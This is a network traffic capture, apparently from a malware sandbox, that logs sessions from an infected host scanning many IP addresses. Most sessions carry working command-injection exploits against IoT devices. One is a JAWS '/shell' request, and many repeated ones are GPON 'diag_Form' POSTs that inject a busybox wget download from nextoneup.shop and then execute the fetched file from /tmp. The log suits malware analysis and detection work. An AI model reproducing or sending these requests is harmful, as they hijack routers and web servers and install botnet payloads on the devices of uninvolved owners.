Apr 14, 2024 04:00:10.705171108 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:57Auth Result: .
Apr 14, 2024 04:00:11.727229118 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:57Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.23	50470	149.248.6.29	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:11.976054907 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:12.146933079 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:00:12 GMT Content-Type: text/html Content-Length: 1728 Last-Modified: Mon, 19 Feb 2024 16:20:27 GMT Connection: keep-alive Vary: Accept-Encoding ETag: "65d37fcb-6c0" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 55 6e 6b 6e 6f 77 6e 20 44 6f 6d 61 69 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 09 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 73 2f 76 35 2e 32 2e 30 2f 63 73 73 2f 61 6c 6c 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 68 57 56 6a 66 6c 77 46 78 4c 36 73 4e 7a 6e 74 69 68 32 37 62 66 78 6b 72 32 37 50 6d 62 62 4b 2f 69 53 76 4a 2b 61 34 2b 30 6f 77 58 71 37 39 76 2b 6c 73 46 6b 57 35 34 62 4f 47 62 69 44 51 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 68 74 6d 6c 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 3b 63 6f 6c 6f 72 3a 23 33 33 33 3b 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 3a 34 30 30 20 31 36 70 78 2f 31 65 6d 20 22 52 6f 62 6f 74 6f 22 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 61 7b 63 6f 6c 6f 72 3a 23 31 37 61 38 65 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 30 2e 32 73 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 30 2e 32 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 30 2e 32 73 7d 61 3a 66 6f 63 75 73 2c 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 39 39 39 43 44 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 77 72 61 70 70 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 70 61 64 64 69 6e 67 3a 30 20 33 30 70 78 7d 2e 63 6f 6e 74 65 6e 74 7b 63 6f 6c 6f 72 3a 23 66 35 66 35 66 35 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 65 6e Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><title>Unknown Domain</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link href="https://use.fontawesome.com/releases/v5.2.0/css/all.css" rel="stylesheet" integrity="sha384-hWVjflwFxL6sNzntih27bfxkr27PmbbK/iSvJ+a4+0owXq79v+lsFkW54bOGbiDQ" crossorigin="anonymous"><style>html{min-height:100%;height:100%}body{background:#333;color:#333;height:inherit;font:400 16px/1em "Roboto",Arial,sans-serif;margin:0;min-height:inherit}a{color:#17a8e3;display:inline-block;text-decoration:none;-webkit-transition:color 0.2s;-o-transition:color 0.2s;transition:color 0.2s}a:focus,a:hover{color:#1999CD;text-decoration:none}.wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;height:inherit;padding:0 30px}.content{color:#f5f5f5;margin:auto;text-align:center}.conten
Apr 14, 2024 04:00:12.147237062 CEST	718	IN	Data Raw: 74 20 69 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 34 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 65 6d 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 35 70 78 7d 2e 63 6f 6e 74 65 6e 74 20 68 Data Ascii: t i{display:inline-block;font-size:42px;line-height:1em;margin:0 0 15px}.content h1{font-size:24px;font-weight:700;line-height:35px;margin:0 0 10px}.content p{font-size:18px;line-height:30px;;max-width: 650px;}.content a{color:#888;text-decora

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.23	58232	96.6.167.60	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.008877993 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:12.212826014 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:12 GMT Date: Sun, 14 Apr 2024 02:00:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 66 38 33 62 32 66 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 32 26 23 34 36 3b 32 65 62 65 39 37 36 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 66 38 33 62 32 66 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 32 26 23 34 36 3b 32 65 62 65 39 37 36 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.f83b2f17.1713060012.2ebe9761<P>https://errors.edgesuite.net/9.f83b2f17.1713060012.2ebe9761</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.23	41454	52.205.244.98	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.038888931 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:12.272968054 CEST	349	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:12 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.23	58978	2.4.144.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.272955894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.23	35044	2.165.95.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273000956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.23	52462	118.240.184.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273068905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.23	58712	109.229.137.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273097992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.23	60382	42.219.184.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273145914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.23	34448	118.159.37.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273183107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.23	51766	212.249.163.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273247957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.23	43810	37.79.120.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273287058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.23	43732	5.225.10.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273350000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.23	49294	148.6.12.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273380041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.23	35154	148.196.251.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273449898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.23	32920	94.240.214.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273457050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.23	53170	42.248.105.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273489952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.23	52990	118.39.90.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273533106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.23	55782	94.75.50.134	443

Timestamp	Bytes transferred	Direction	Data
